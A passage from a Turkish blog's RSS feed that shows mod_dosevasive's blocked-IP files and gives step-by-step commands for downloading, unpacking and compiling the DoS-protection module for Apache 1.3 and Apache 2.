dos-85.96.18.145   dos-85.98.14.238  dos-195.174.224.233  dos-81.213.84.72    dos-81.214.62.118   dos-81.215.250.196  dos-85.96.92.231   dos-85.98.59.72 dos-212.156.166.55   dos-81.214.129.167  dos-81.214.71.219   dos-81.215.69.255   dos-85.97.134.24   dos-85.98.89.144  dos-212.243.169.82   dos-81.214.142.126  dos-81.214.74.178   dos-85.100.102.164  dos-85.97.147.93   dos-85.99.182.152  dos-221.220.198.171  dos-81.214.147.92   dos-81.215.121.150  dos-85.100.31.39    dos-85.97.178.166  dos-85.99.211.167  dos-81.213.178.15    dos-81.214.149.198  dos-81.215.128.241  dos-85.101.1.139    dos-85.97.77.76    dos-85.99.67.87<br /> root@root [/tmp]#</code></p><p><strong>Kurulum İşlemleri</strong></p><p>Apache 1.3.x için kurulum detayları.</p><p>1.) /usr/local/src dizinine geçiyoruz.</p><p>Kod:<br /> <code lang="bash">cd /usr/local/src</code></p><p>2.)Dosyayı sunucuya indiriyoruz.</p><p>Kod:<br /> <code lang="bash">wget http://www.nuclearelephant.com/projects/dosevasive/mod_dosevasive_1.10.tar.gz</code></p><p>3.)Sıkıştırılmış arşiv dosyasını açıyoruz.</p><p>Kod:<br /> <code lang="bash">tar -zxvf mod_dosevasive_1.10.tar.gz</code></p><p>4.)Mod_dosevasive nin klasörüne giriyoruz</p><p>Kod:<br /> <code lang="bash">cd mod_dosevasive</code></p><p>5.)DSO desteği ile yüklüyoruz.</p><p>Kod:<br /> <code lang="bash">/etc/httpd/bin/apxs -cia mod_dosevasive.c</code></p><p><strong>Apache 2 için kurulum adımları</strong></p><p>1.)httpd devel paketini kurarak başlıyoruz.</p><p>Kod:<br /> <code lang="bash">up2date -i httpd-devel</code></p><p>2.) /usr/local/src dizinine geçiyoruz</p><p>Kod:<br /> <code lang="bash">cd /usr/local/src</code></p><p>3.)Dosyası sunucuya indiriyoruz.</p><p>Kod:<br /> <code lang="bash">wget http://www.nuclearelephant.com/projects/dosevasive/mod_dosevasive_1.10.tar.gz</code></p><p>4.)Arşiv dosyasını açıyoruz</p><p>Kod:<br /> <code lang="bash">tar -zxf mod_dosevasive_1.10.tar.gz</code></p><p>5.)Mod_dosevasive klasörüne giriyoruz</p><p>Kod:<br /> <code lang="bash">cd mod_dosevasive</code></p><p>6.)DSO modülü olarak kuruyoruz</p><p>Kod:<br /> <code lang="bash">/usr/sbin/apxs -cia mod_dosevasive20.c</code></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2006%2F01%2F29%2Fmakale%2Fadmin%2Fdos-saldirlari-icin.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-6"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=6&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2006/01/29/makale/admin/dos-saldirlari-icin.aspx/feed</wfw:commentRss> <slash:comments>2</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached
Page Caching using memcached
Database Caching using memcached
Object Caching 593/682 objects using memcached

Served from: muzaffer.akyil.net @ 2012-02-09 09:56:40 -->
